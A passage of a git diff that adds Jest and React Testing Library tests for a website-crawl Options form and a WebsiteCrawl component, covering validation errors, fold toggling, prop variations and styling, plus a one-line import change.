+      const props = createDefaultProps({ onSubmit: mockOnSubmit })
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      expect(mockOnSubmit).toHaveBeenCalled()
+    })
+
+    it('should not trigger submit when button is disabled', () => {
+      // Arrange
+      const mockOnSubmit = jest.fn()
+      const props = createDefaultProps({ onSubmit: mockOnSubmit, runDisabled: true })
+      render(<Options {...props} />)
+
+      // Act - Try to click disabled button
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      expect(mockOnSubmit).not.toHaveBeenCalled()
+    })
+
+    it('should maintain fold state after form submission', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<Options {...props} />)
+
+      // Assert - Initially expanded
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+
+      // Act - Submit form
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - Should still be expanded (unless step changes)
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+    })
+
+    it('should allow clicking on arrow icon container to toggle', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { container } = render(<Options {...props} />)
+
+      // Assert - Initially expanded
+      expect(screen.getByTestId('field-test_variable')).toBeInTheDocument()
+
+      // Act - Click on the toggle container (parent of the options text and arrow)
+      const toggleContainer = container.querySelector('.cursor-pointer')
+      fireEvent.click(toggleContainer!)
+
+      // Assert - Should be folded
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Edge Cases and Error Handling
+  // ==========================================
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle validation error and show toast', () => {
+      // Arrange - Create required field that will fail validation when empty
+      const requiredConfig = createMockConfiguration({
+        variable: 'url',
+        label: 'URL',
+        required: true,
+        type: BaseFieldType.textInput,
+      })
+      mockUseConfigurations.mockReturnValue([requiredConfig])
+      // mockFormValues.url is undefined, so validation will fail
+      const props = createDefaultProps()
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - Toast should be called with error message
+      expect(toastNotifySpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          type: 'error',
+        }),
+      )
+    })
+
+    it('should handle validation error and display field name in message', () => {
+      // Arrange - Create required field that will fail validation
+      const requiredConfig = createMockConfiguration({
+        variable: 'email_address',
+        label: 'Email Address',
+        required: true,
+        type: BaseFieldType.textInput,
+      })
+      mockUseConfigurations.mockReturnValue([requiredConfig])
+      const props = createDefaultProps()
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - Toast message should contain field path
+      expect(toastNotifySpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          type: 'error',
+          message: expect.stringContaining('email_address'),
+        }),
+      )
+    })
+
+    it('should handle empty variables gracefully', () => {
+      // Arrange
+      mockUseConfigurations.mockReturnValue([])
+      const props = createDefaultProps({ variables: [] })
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert - Should render without errors
+      expect(container.querySelector('form')).toBeInTheDocument()
+      expect(screen.getByRole('button')).toBeInTheDocument()
+    })
+
+    it('should handle single variable configuration', () => {
+      // Arrange
+      const singleConfig = [createMockConfiguration({ variable: 'only_field' })]
+      mockUseConfigurations.mockReturnValue(singleConfig)
+      const props = createDefaultProps()
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('field-only_field')).toBeInTheDocument()
+    })
+
+    it('should handle many configurations', () => {
+      // Arrange
+      const manyConfigs = Array.from({ length: 10 }, (_, i) =>
+        createMockConfiguration({ variable: `field_${i}`, label: `Field ${i}` }),
+      )
+      mockUseConfigurations.mockReturnValue(manyConfigs)
+      const props = createDefaultProps()
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      for (let i = 0; i < 10; i++)
+        expect(screen.getByTestId(`field-field_${i}`)).toBeInTheDocument()
+    })
+
+    it('should handle validation with multiple required fields (shows first error)', () => {
+      // Arrange - Multiple required fields
+      const configs = [
+        createMockConfiguration({ variable: 'url', label: 'URL', required: true, type: BaseFieldType.textInput }),
+        createMockConfiguration({ variable: 'depth', label: 'Depth', required: true, type: BaseFieldType.textInput }),
+      ]
+      mockUseConfigurations.mockReturnValue(configs)
+      const props = createDefaultProps()
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - Toast should be called once (only first error)
+      expect(toastNotifySpy).toHaveBeenCalledTimes(1)
+      expect(toastNotifySpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          type: 'error',
+        }),
+      )
+    })
+
+    it('should handle validation pass when all required fields have values', () => {
+      // Arrange
+      const requiredConfig = createMockConfiguration({
+        variable: 'url',
+        label: 'URL',
+        required: true,
+        type: BaseFieldType.textInput,
+      })
+      mockUseConfigurations.mockReturnValue([requiredConfig])
+      mockFormValues.url = 'https://example.com' // Provide valid value
+      const mockOnSubmit = jest.fn()
+      const props = createDefaultProps({ onSubmit: mockOnSubmit })
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert - No toast error, onSubmit called
+      expect(toastNotifySpy).not.toHaveBeenCalled()
+      expect(mockOnSubmit).toHaveBeenCalled()
+    })
+
+    it('should handle undefined variables gracefully', () => {
+      // Arrange
+      mockUseInitialData.mockReturnValue({})
+      mockUseConfigurations.mockReturnValue([])
+      const props = createDefaultProps({ variables: undefined as any })
+
+      // Act & Assert - Should not throw
+      expect(() => render(<Options {...props} />)).not.toThrow()
+    })
+
+    it('should handle rapid fold/unfold toggling', () => {
+      // Arrange
+      const props = createDefaultProps()
+      render(<Options {...props} />)
+
+      // Act - Toggle rapidly multiple times
+      const toggleText = screen.getByText(/options/i)
+      for (let i = 0; i < 5; i++)
+        fireEvent.click(toggleText)
+
+      // Assert - Final state should be folded (odd number of clicks)
+      expect(screen.queryByTestId('field-test_variable')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // All Prop Variations
+  // ==========================================
+  describe('Prop Variations', () => {
+    it.each([
+      [{ step: CrawlStep.init, runDisabled: false }, false, 'run'],
+      [{ step: CrawlStep.init, runDisabled: true }, true, 'run'],
+      [{ step: CrawlStep.running, runDisabled: false }, true, 'running'],
+      [{ step: CrawlStep.running, runDisabled: true }, true, 'running'],
+      [{ step: CrawlStep.finished, runDisabled: false }, false, 'run'],
+      [{ step: CrawlStep.finished, runDisabled: true }, true, 'run'],
+    ] as const)('should render correctly with step=%s, runDisabled=%s', (propVariation, expectedDisabled, expectedText) => {
+      // Arrange
+      const props = createDefaultProps(propVariation)
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      if (expectedDisabled)
+        expect(button).toBeDisabled()
+      else
+        expect(button).not.toBeDisabled()
+
+      expect(screen.getByText(new RegExp(expectedText, 'i'))).toBeInTheDocument()
+    })
+
+    it('should handle all CrawlStep values', () => {
+      // Arrange & Act & Assert
+      Object.values(CrawlStep).forEach((step) => {
+        const props = createDefaultProps({ step })
+        const { unmount, container } = render(<Options {...props} />)
+        expect(container.querySelector('form')).toBeInTheDocument()
+        unmount()
+      })
+    })
+
+    it('should handle variables with different types', () => {
+      // Arrange
+      const variables: RAGPipelineVariables = [
+        createMockVariable({ type: PipelineInputVarType.textInput, variable: 'text_field' }),
+        createMockVariable({ type: PipelineInputVarType.paragraph, variable: 'paragraph_field' }),
+        createMockVariable({ type: PipelineInputVarType.number, variable: 'number_field' }),
+        createMockVariable({ type: PipelineInputVarType.checkbox, variable: 'checkbox_field' }),
+        createMockVariable({ type: PipelineInputVarType.select, variable: 'select_field' }),
+      ]
+      const configurations = variables.map(v => createMockConfiguration({ variable: v.variable }))
+      mockUseConfigurations.mockReturnValue(configurations)
+      const props = createDefaultProps({ variables })
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      variables.forEach((v) => {
+        expect(screen.getByTestId(`field-${v.variable}`)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ==========================================
+  // Form Validation
+  // ==========================================
+  describe('Form Validation', () => {
+    it('should pass validation with valid data', () => {
+      // Arrange - Use non-required field so empty value passes
+      const config = createMockConfiguration({
+        variable: 'optional_field',
+        required: false,
+        type: BaseFieldType.textInput,
+      })
+      mockUseConfigurations.mockReturnValue([config])
+      const mockOnSubmit = jest.fn()
+      const props = createDefaultProps({ onSubmit: mockOnSubmit })
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      expect(mockOnSubmit).toHaveBeenCalled()
+      expect(toastNotifySpy).not.toHaveBeenCalled()
+    })
+
+    it('should fail validation with invalid data', () => {
+      // Arrange - Required field with empty value
+      const config = createMockConfiguration({
+        variable: 'url',
+        label: 'URL',
+        required: true,
+        type: BaseFieldType.textInput,
+      })
+      mockUseConfigurations.mockReturnValue([config])
+      const mockOnSubmit = jest.fn()
+      const props = createDefaultProps({ onSubmit: mockOnSubmit })
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      expect(mockOnSubmit).not.toHaveBeenCalled()
+      expect(toastNotifySpy).toHaveBeenCalled()
+    })
+
+    it('should show error toast message when validation fails', () => {
+      // Arrange - Required field with empty value
+      const config = createMockConfiguration({
+        variable: 'my_field',
+        label: 'My Field',
+        required: true,
+        type: BaseFieldType.textInput,
+      })
+      mockUseConfigurations.mockReturnValue([config])
+      const props = createDefaultProps()
+      render(<Options {...props} />)
+
+      // Act
+      fireEvent.click(screen.getByRole('button'))
+
+      // Assert
+      expect(toastNotifySpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          type: 'error',
+          message: expect.any(String),
+        }),
+      )
+    })
+  })
+
+  // ==========================================
+  // Styling Tests
+  // ==========================================
+  describe('Styling', () => {
+    it('should apply correct container classes to form', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert
+      const form = container.querySelector('form')
+      expect(form).toHaveClass('w-full')
+    })
+
+    it('should apply cursor-pointer class to toggle container', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert
+      const toggleContainer = container.querySelector('.cursor-pointer')
+      expect(toggleContainer).toBeInTheDocument()
+    })
+
+    it('should apply select-none class to prevent text selection on toggle', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert
+      const toggleContainer = container.querySelector('.select-none')
+      expect(toggleContainer).toBeInTheDocument()
+    })
+
+    it('should apply rotate class to arrow icon when folded', () => {
+      // Arrange
+      const props = createDefaultProps()
+      const { container } = render(<Options {...props} />)
+
+      // Act - Fold the options
+      fireEvent.click(screen.getByText(/options/i))
+
+      // Assert
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).toHaveClass('-rotate-90')
+    })
+
+    it('should not apply rotate class to arrow icon when expanded', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert
+      const arrowIcon = container.querySelector('svg')
+      expect(arrowIcon).not.toHaveClass('-rotate-90')
+    })
+
+    it('should apply border class to fields container when expanded', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { container } = render(<Options {...props} />)
+
+      // Assert
+      const fieldsContainer = container.querySelector('.border-t')
+      expect(fieldsContainer).toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // BaseField Integration
+  // ==========================================
+  describe('BaseField Integration', () => {
+    it('should pass correct props to BaseField factory', () => {
+      // Arrange
+      const config = createMockConfiguration({ variable: 'test_var', label: 'Test Label' })
+      mockUseConfigurations.mockReturnValue([config])
+      mockUseInitialData.mockReturnValue({ test_var: 'default_value' })
+      const props = createDefaultProps()
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert
+      expect(mockBaseField).toHaveBeenCalledWith(
+        expect.objectContaining({
+          initialData: { test_var: 'default_value' },
+          config,
+        }),
+      )
+    })
+
+    it('should render unique key for each field', () => {
+      // Arrange
+      const configurations = [
+        createMockConfiguration({ variable: 'field_a' }),
+        createMockConfiguration({ variable: 'field_b' }),
+        createMockConfiguration({ variable: 'field_c' }),
+      ]
+      mockUseConfigurations.mockReturnValue(configurations)
+      const props = createDefaultProps()
+
+      // Act
+      render(<Options {...props} />)
+
+      // Assert - All fields should be rendered (React would warn if keys aren't unique)
+      expect(screen.getByTestId('field-field_a')).toBeInTheDocument()
+      expect(screen.getByTestId('field-field_b')).toBeInTheDocument()
+      expect(screen.getByTestId('field-field_c')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/options/index.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/options/index.tsx
index 56dab28815..118a83185c 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/options/index.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/base/options/index.tsx
@@ -2,7 +2,7 @@ import Button from '@/app/components/base/button'
 import { useAppForm } from '@/app/components/base/form'
 import BaseField from '@/app/components/base/form/form-scenarios/base/field'
 import { ArrowDownRoundFill } from '@/app/components/base/icons/src/vender/solid/general'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiPlayLargeLine } from '@remixicon/react'
 import { useBoolean } from 'ahooks'
 import { useEffect, useMemo } from 'react'
diff --git a/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/index.spec.tsx b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/index.spec.tsx
new file mode 100644
index 0000000000..8e28a43b2e
--- /dev/null
+++ b/web/app/components/datasets/documents/create-from-pipeline/data-source/website-crawl/index.spec.tsx
@@ -0,0 +1,1497 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import React from 'react'
+import WebsiteCrawl from './index'
+import type { CrawlResultItem } from '@/models/datasets'
+import { CrawlStep } from '@/models/datasets'
+import type { DataSourceNodeType } from '@/app/components/workflow/nodes/data-source/types'
+import { ACCOUNT_SETTING_TAB } from '@/app/components/header/account-setting/constants'
+
+// ==========================================
+// Mock Modules
+// ==========================================
+
+// Note: react-i18next uses global mock from web/__mocks__/react-i18next.ts
+
+// Mock useDocLink - context hook requires mocking
+const mockDocLink = jest.fn((path?: string) => `https://docs.example.com${path || ''}`)
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => mockDocLink,
+}))
+
+// Mock dataset-detail context - context provider requires mocking
+let mockPipelineId: string | undefined = 'pipeline-123'
+jest.mock('@/context/dataset-detail', () => ({
+  useDatasetDetailContextWithSelector: (selector: (s: any) => any) => selector({ dataset: { pipeline_id: mockPipelineId } }),
+}))
+
+// Mock modal context - context provider requires mocking
+const mockSetShowAccountSettingModal = jest.fn()
+jest.mock('@/context/modal-context', () => ({
+  useModalContextSelector: (selector: (s: any) => any) => selector({ setShowAccountSettingModal: mockSetShowAccountSettingModal }),
+}))
+
+// Mock ssePost - API service requires mocking
+const mockSsePost = jest.fn()
+jest.mock('@/service/base', () => ({
+  ssePost: (...args: any[]) => mockSsePost(...args),
+}))
+
+// Mock useGetDataSourceAuth - API service hook requires mocking
+const mockUseGetDataSourceAuth = jest.fn()
+jest.mock('@/service/use-datasource', () => ({
+  useGetDataSourceAuth: (params: any) => mockUseGetDataSourceAuth(params),
+}))
+
+// Mock usePipeline hooks - API service hooks require mocking
+const mockUseDraftPipelinePreProcessingParams = jest.fn()
+const mockUsePublishedPipelinePreProcessingParams = jest.fn()
+jest.mock('@/service/use-pipeline', () => ({
+  useDraftPipelinePreProcessingParams: (...args: any[]) => mockUseDraftPipelinePreProcessingParams(...args),
+  usePublishedPipelinePreProcessingParams: (...args: any[]) => mockUsePublishedPipelinePreProcessingParams(...args),
+}))
+
+// Note: zustand/react/shallow useShallow is imported directly (simple utility function)
+
+// Mock store
+const mockStoreState = {
+  crawlResult: undefined as { data: CrawlResultItem[]; time_consuming: number | string } | undefined,
+  step: CrawlStep.init,
+  websitePages: [] as CrawlResultItem[],
+  previewIndex: -1,
+  currentCredentialId: '',
+  setWebsitePages: jest.fn(),
+  setCurrentWebsite: jest.fn(),
+  setPreviewIndex: jest.fn(),
+  setStep: jest.fn(),
+  setCrawlResult: jest.fn(),
+}
+
+const mockGetState = jest.fn(() => mockStoreState)
+const mockDataSourceStore = { getState: mockGetState }
+
+jest.mock('../store', () => ({
+  useDataSourceStoreWithSelector: (selector: (s: any) => any) => selector(mockStoreState),
+  useDataSourceStore: () => mockDataSourceStore,
+}))
+
+// Mock Header component
+jest.mock('../base/header', () => {
+  const MockHeader = (props: any) => (
+    <div data-testid="header">
+      <span data-testid="header-doc-title">{props.docTitle}</span>
+      <span data-testid="header-doc-link">{props.docLink}</span>
+      <span data-testid="header-plugin-name">{props.pluginName}</span>
+      <span data-testid="header-credential-id">{props.currentCredentialId}</span>
+      <button data-testid="header-config-btn" onClick={props.onClickConfiguration}>Configure</button>
+      <button data-testid="header-credential-change" onClick={() => props.onCredentialChange('new-cred-id')}>Change Credential</button>
+      <span data-testid="header-credentials-count">{props.credentials?.length || 0}</span>
+    </div>
+  )
+  return MockHeader
+})
+
+// Mock Options component
+const mockOptionsSubmit = jest.fn()
+jest.mock('./base/options', () => {
+  const MockOptions = (props: any) => (
+    <div data-testid="options">
+      <span data-testid="options-step">{props.step}</span>
+      <span data-testid="options-run-disabled">{String(props.runDisabled)}</span>
+      <span data-testid="options-variables-count">{props.variables?.length || 0}</span>
+      <button
+        data-testid="options-submit-btn"
+        onClick={() => {
+          mockOptionsSubmit()
+          props.onSubmit({ url: 'https://example.com', depth: 2 })
+        }}
+      >
+        Submit
+      </button>
+    </div>
+  )
+  return MockOptions
+})
+
+// Mock Crawling component
+jest.mock('./base/crawling', () => {
+  const MockCrawling = (props: any) => (
+    <div data-testid="crawling">
+      <span data-testid="crawling-crawled-num">{props.crawledNum}</span>
+      <span data-testid="crawling-total-num">{props.totalNum}</span>
+    </div>
+  )
+  return MockCrawling
+})
+
+// Mock ErrorMessage component
+jest.mock('./base/error-message', () => {
+  const MockErrorMessage = (props: any) => (
+    <div data-testid="error-message" className={props.className}>
+      <span data-testid="error-title">{props.title}</span>
+      <span data-testid="error-msg">{props.errorMsg}</span>
+    </div>
+  )
+  return MockErrorMessage
+})
+
+// Mock CrawledResult component
+jest.mock('./base/crawled-result', () => {
+  const MockCrawledResult = (props: any) => (
+    <div data-testid="crawled-result" className={props.className}>
+      <span data-testid="crawled-result-count">{props.list?.length || 0}</span>
+      <span data-testid="crawled-result-checked-count">{props.checkedList?.length || 0}</span>
+      <span data-testid="crawled-result-used-time">{props.usedTime}</span>
+      <span data-testid="crawled-result-preview-index">{props.previewIndex}</span>
+      <span data-testid="crawled-result-show-preview">{String(props.showPreview)}</span>
+      <span data-testid="crawled-result-multiple-choice">{String(props.isMultipleChoice)}</span>
+      <button
+        data-testid="crawled-result-select-change"
+        onClick={() => props.onSelectedChange([{ source_url: 'https://example.com', title: 'Test' }])}
+      >
+        Change Selection
+      </button>
+      <button
+        data-testid="crawled-result-preview"
+        onClick={() => props.onPreview?.({ source_url: 'https://example.com', title: 'Test' }, 0)}
+      >
+        Preview
+      </button>
+    </div>
+  )
+  return MockCrawledResult
+})
+
+// ==========================================
+// Test Data Builders
+// ==========================================
+const createMockNodeData = (overrides?: Partial<DataSourceNodeType>): DataSourceNodeType => ({
+  title: 'Test Node',
+  plugin_id: 'plugin-123',
+  provider_type: 'website',
+  provider_name: 'website-provider',
+  datasource_name: 'website-ds',
+  datasource_label: 'Website Crawler',
+  datasource_parameters: {},
+  datasource_configurations: {},
+  ...overrides,
+} as DataSourceNodeType)
+
+const createMockCrawlResultItem = (overrides?: Partial<CrawlResultItem>): CrawlResultItem => ({
+  source_url: 'https://example.com/page1',
+  title: 'Test Page 1',
+  markdown: '# Test content',
+  description: 'Test description',
+  ...overrides,
+})
+
+const createMockCredential = (overrides?: Partial<{ id: string; name: string }>) => ({
+  id: 'cred-1',
+  name: 'Test Credential',
+  avatar_url: 'https://example.com/avatar.png',
+  credential: {},
+  is_default: false,
+  type: 'oauth2',
+  ...overrides,
+})
+
+type WebsiteCrawlProps = React.ComponentProps<typeof WebsiteCrawl>
+
+const createDefaultProps = (overrides?: Partial<WebsiteCrawlProps>): WebsiteCrawlProps => ({
+  nodeId: 'node-1',
+  nodeData: createMockNodeData(),
+  onCredentialChange: jest.fn(),
+  isInPipeline: false,
+  supportBatchUpload: true,
+  ...overrides,
+})
+
+// ==========================================
+// Test Suites
+// ==========================================
+describe('WebsiteCrawl', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Reset store state
+    mockStoreState.crawlResult = undefined
+    mockStoreState.step = CrawlStep.init
+    mockStoreState.websitePages = []
+    mockStoreState.previewIndex = -1
+    mockStoreState.currentCredentialId = ''
+    mockStoreState.setWebsitePages = jest.fn()
+    mockStoreState.setCurrentWebsite = jest.fn()
+    mockStoreState.setPreviewIndex = jest.fn()
+    mockStoreState.setStep = jest.fn()
+    mockStoreState.setCrawlResult = jest.fn()
+
+    // Reset context values
+    mockPipelineId = 'pipeline-123'
+    mockSetShowAccountSettingModal.mockClear()
+
+    // Default mock return values
+    mockUseGetDataSourceAuth.mockReturnValue({
+      data: { result: [createMockCredential()] },
+    })
+
+    mockUseDraftPipelinePreProcessingParams.mockReturnValue({
+      data: { variables: [] },
+      isFetching: false,
+    })
+
+    mockUsePublishedPipelinePreProcessingParams.mockReturnValue({
+      data: { variables: [] },
+      isFetching: false,
+    })
+
+    mockGetState.mockReturnValue(mockStoreState)
+  })
+
+  // ==========================================
+  // Rendering Tests
+  // ==========================================
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header')).toBeInTheDocument()
+      expect(screen.getByTestId('options')).toBeInTheDocument()
+    })
+
+    it('should render Header with correct props', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-123'
+      const props = createDefaultProps({
+        nodeData: createMockNodeData({ datasource_label: 'My Website Crawler' }),
+      })
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('header-doc-title')).toHaveTextContent('Docs')
+      expect(screen.getByTestId('header-plugin-name')).toHaveTextContent('My Website Crawler')
+      expect(screen.getByTestId('header-credential-id')).toHaveTextContent('cred-123')
+    })
+
+    it('should render Options with correct props', () => {
+      // Arrange
+      mockStoreState.currentCredentialId = 'cred-1'
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('options')).toBeInTheDocument()
+      expect(screen.getByTestId('options-step')).toHaveTextContent(CrawlStep.init)
+    })
+
+    it('should not render Crawling or CrawledResult when step is init', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.init
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('crawling')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('crawled-result')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('error-message')).not.toBeInTheDocument()
+    })
+
+    it('should render Crawling when step is running', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.running
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('crawling')).toBeInTheDocument()
+      expect(screen.queryByTestId('crawled-result')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('error-message')).not.toBeInTheDocument()
+    })
+
+    it('should render CrawledResult when step is finished with no error', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.finished
+      mockStoreState.crawlResult = {
+        data: [createMockCrawlResultItem()],
+        time_consuming: 1.5,
+      }
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('crawled-result')).toBeInTheDocument()
+      expect(screen.queryByTestId('crawling')).not.toBeInTheDocument()
+      expect(screen.queryByTestId('error-message')).not.toBeInTheDocument()
+    })
+  })
+
+  // ==========================================
+  // Props Testing
+  // ==========================================
+  describe('Props', () => {
+    describe('nodeId prop', () => {
+      it('should use nodeId in datasourceNodeRunURL for non-pipeline mode', async () => {
+        // Arrange
+        mockStoreState.currentCredentialId = 'cred-1'
+        const props = createDefaultProps({
+          nodeId: 'custom-node-id',
+          isInPipeline: false,
+        })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert - Options uses nodeId through usePreProcessingParams
+        expect(mockUsePublishedPipelinePreProcessingParams).toHaveBeenCalledWith(
+          { pipeline_id: 'pipeline-123', node_id: 'custom-node-id' },
+          true,
+        )
+      })
+    })
+
+    describe('nodeData prop', () => {
+      it('should pass plugin_id and provider_name to useGetDataSourceAuth', () => {
+        // Arrange
+        const nodeData = createMockNodeData({
+          plugin_id: 'my-plugin-id',
+          provider_name: 'my-provider',
+        })
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(mockUseGetDataSourceAuth).toHaveBeenCalledWith({
+          pluginId: 'my-plugin-id',
+          provider: 'my-provider',
+        })
+      })
+
+      it('should pass datasource_label to Header as pluginName', () => {
+        // Arrange
+        const nodeData = createMockNodeData({
+          datasource_label: 'Custom Website Scraper',
+        })
+        const props = createDefaultProps({ nodeData })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('header-plugin-name')).toHaveTextContent('Custom Website Scraper')
+      })
+    })
+
+    describe('isInPipeline prop', () => {
+      it('should use draft URL when isInPipeline is true', () => {
+        // Arrange
+        const props = createDefaultProps({ isInPipeline: true })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(mockUseDraftPipelinePreProcessingParams).toHaveBeenCalled()
+        expect(mockUsePublishedPipelinePreProcessingParams).not.toHaveBeenCalled()
+      })
+
+      it('should use published URL when isInPipeline is false', () => {
+        // Arrange
+        const props = createDefaultProps({ isInPipeline: false })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(mockUsePublishedPipelinePreProcessingParams).toHaveBeenCalled()
+        expect(mockUseDraftPipelinePreProcessingParams).not.toHaveBeenCalled()
+      })
+
+      it('should pass showPreview as false to CrawledResult when isInPipeline is true', () => {
+        // Arrange
+        mockStoreState.step = CrawlStep.finished
+        mockStoreState.crawlResult = {
+          data: [createMockCrawlResultItem()],
+          time_consuming: 1.5,
+        }
+        const props = createDefaultProps({ isInPipeline: true })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('crawled-result-show-preview')).toHaveTextContent('false')
+      })
+
+      it('should pass showPreview as true to CrawledResult when isInPipeline is false', () => {
+        // Arrange
+        mockStoreState.step = CrawlStep.finished
+        mockStoreState.crawlResult = {
+          data: [createMockCrawlResultItem()],
+          time_consuming: 1.5,
+        }
+        const props = createDefaultProps({ isInPipeline: false })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('crawled-result-show-preview')).toHaveTextContent('true')
+      })
+    })
+
+    describe('supportBatchUpload prop', () => {
+      it('should pass isMultipleChoice as true to CrawledResult when supportBatchUpload is true', () => {
+        // Arrange
+        mockStoreState.step = CrawlStep.finished
+        mockStoreState.crawlResult = {
+          data: [createMockCrawlResultItem()],
+          time_consuming: 1.5,
+        }
+        const props = createDefaultProps({ supportBatchUpload: true })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('crawled-result-multiple-choice')).toHaveTextContent('true')
+      })
+
+      it('should pass isMultipleChoice as false to CrawledResult when supportBatchUpload is false', () => {
+        // Arrange
+        mockStoreState.step = CrawlStep.finished
+        mockStoreState.crawlResult = {
+          data: [createMockCrawlResultItem()],
+          time_consuming: 1.5,
+        }
+        const props = createDefaultProps({ supportBatchUpload: false })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('crawled-result-multiple-choice')).toHaveTextContent('false')
+      })
+
+      it.each([
+        [true, 'true'],
+        [false, 'false'],
+        [undefined, 'true'], // Default value
+      ])('should handle supportBatchUpload=%s correctly', (value, expected) => {
+        // Arrange
+        mockStoreState.step = CrawlStep.finished
+        mockStoreState.crawlResult = {
+          data: [createMockCrawlResultItem()],
+          time_consuming: 1.5,
+        }
+        const props = createDefaultProps({ supportBatchUpload: value })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+
+        // Assert
+        expect(screen.getByTestId('crawled-result-multiple-choice')).toHaveTextContent(expected)
+      })
+    })
+
+    describe('onCredentialChange prop', () => {
+      it('should call onCredentialChange with credential id and reset state', () => {
+        // Arrange
+        const mockOnCredentialChange = jest.fn()
+        const props = createDefaultProps({ onCredentialChange: mockOnCredentialChange })
+
+        // Act
+        render(<WebsiteCrawl {...props} />)
+        fireEvent.click(screen.getByTestId('header-credential-change'))
+
+        // Assert
+        expect(mockOnCredentialChange).toHaveBeenCalledWith('new-cred-id')
+      })
+    })
+  })
+
+  // ==========================================
+  // State Management Tests
+  // ==========================================
+  describe('State Management', () => {
+    it('should display correct crawledNum and totalNum when running', () => {
+      // Arrange
+      mockStoreState.step = CrawlStep.running
+      const props = createDefaultProps()
+
+      // Act
+      render(<WebsiteCrawl {...props} />)
+
+      // Assert - Initial state is 0/0
